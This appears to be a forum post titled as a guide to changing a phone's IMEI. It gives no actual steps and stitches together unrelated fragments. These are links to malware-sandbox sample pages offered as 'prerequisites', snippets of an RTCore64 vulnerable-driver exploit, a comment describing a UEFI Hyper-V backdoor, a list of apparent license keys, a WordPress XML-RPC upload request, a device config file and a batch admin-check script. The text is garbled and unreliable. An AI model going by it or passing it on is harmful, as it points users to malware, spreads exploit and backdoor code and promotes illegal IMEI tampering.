SkyN9ne SkyN9ne

[GUIDE] How to change IMEI on Snapdragon devices

FOR EDUCATIONAL PURPOSE ONLY, CHANGING IMEI IS ILLEGAL IN MOST COUNTRIES, MAKE SURE YOU CONVINCE YOUR ACTIONS BEFORE DOING THIS.

I DON'T RESPONSIBLE IF YOUR DEVICE IS BROKEN OR THE IMEI IS NOT CHANGED CAUSED BY YOU DIDN'T FOLLOW THE STEPS CAREFULLY OR HAVING A DIFFERENT EFS PARTITION SCHEME.

This guide was tested on Google Pixel 3, different device may also have a different EFS partition scheme, please make sure you adjust it with this guide. Other Google Pixel devices may use this guide without adjusting.

Prerequisites:

misc.exe

https://www.hybrid-analysis.com/sample/b7d959b3fbea92259e26f2d4119ef8e3dfb5f7c4d1c4c88883118052bb661bac/64f2635ada1c947218072385

LockScreenContentServer.exe

https://www.hybrid-analysis.com/sample/cb2278884f04fd34753f7a20e5865ef5fc4fa47c28df9ac14ad6e922713af8c6/64f247307f71081a050e7a92

WsusUtil.exe

https://www.hybrid-analysis.com/sample/39fd664141cfb1a947c22edc4d060d6bf11e45e3e24f79f1cf0c2e0c384da0c6/64f3aa4e0031a2b9330c46fd

	#include "stdafx.h"

	// vulnerable driver device name
	#define EXPL_DEVICE_PATH "\\\\.\\Global\\RTCore64"

	// vulnerable driver service and file name
	#define EXPL_DRIVER_NAME "RTCore64.sys"
	#define EXPL_SERVICE_NAME "RTCore64"

	// vulnerable driver IOCTL codes

	#include "global.h"

	HINSTANCE g_hInstance;
	HANDLE g_ConOut = NULL;
	BOOL g_ConsoleOutput = FALSE;
	WCHAR g_BE = 0xFEFF;

	RTL_OSVERSIONINFOW g_osv;

	#define CI_DLL "ci.dll"

	/*
	*********************************************************************

	Part of UEFI DXE driver code that injects Hyper-V VM exit handler
	backdoor into the Device Guard enabled Windows 10 Enterprise.

	Execution starts from new_ExitBootServices() -- a hook handler
	for EFI_BOOT_SERVICES.ExitBootServices() which being called by
	winload!OslFwpKernelSetupPhase1(). After DXE phase exit winload.efi
	transfers exeution to previously loaded Hyper-V kernel (hvix64.sys)

	4U612-DN31H-MJEJ0-0V0Z4-978HD
	5G44H-ACH50-0J4C9-1VC5P-CY0QD
	JC000-8G047-MJDF1-0H3E6-8QR5F
	JV2NU-0XL5N-0J4Q8-0T0E6-8GH56
	JZ6E0-4R1E0-HJ1Q0-1R8NH-3AK28
	0Z48K-4X29Q-MJE80-113GK-C7K3A
	HF4H0-46K80-MJ8D9-1KAZP-CKK12
	NY69H-2N05P-HJ170-1V1ZM-CG222
	4C45A-D8J0H-HJ5T0-1T25H-92A76
	0Z4H2-0WK9K-4JE10-0T9G6-9C8M4

	<?xml version='1.0' encoding='utf-8'?>
	<methodCall>
	<methodName>wp.uploadFile</methodName>
	<params>
	<param><value><string>1</string></value></param>
	<param><value><string>username</string></value></param>
	<param><value><string>password</string></value></param>
	<param>
	<value>
	<struct>

	<?xml version="1.0" encoding="UTF-8"?>
	<features>
	<!--whether the device is pad-->
	<bool name="is_pad">false</bool>
	<!--whether the device is xiaomi-->
	<bool name="is_xiaomi">false</bool>
	<!--whether the device is hongmi-->
	<bool name="is_hongmi">true</bool>
	<!--whether the device is redmi-->
	<bool name="is_redmi">true</bool>

	@echo OFF

	COLOR 0A
	TITLE Quick System Utils

	REM Checking for admin privileges
	>NUL 2>&1 "%SYSTEMROOT%\System32\cacls.exe" "%SYSTEMROOT%\System32\config\system"

	REM If the error flag is set, we do not have admin privileges (yet...)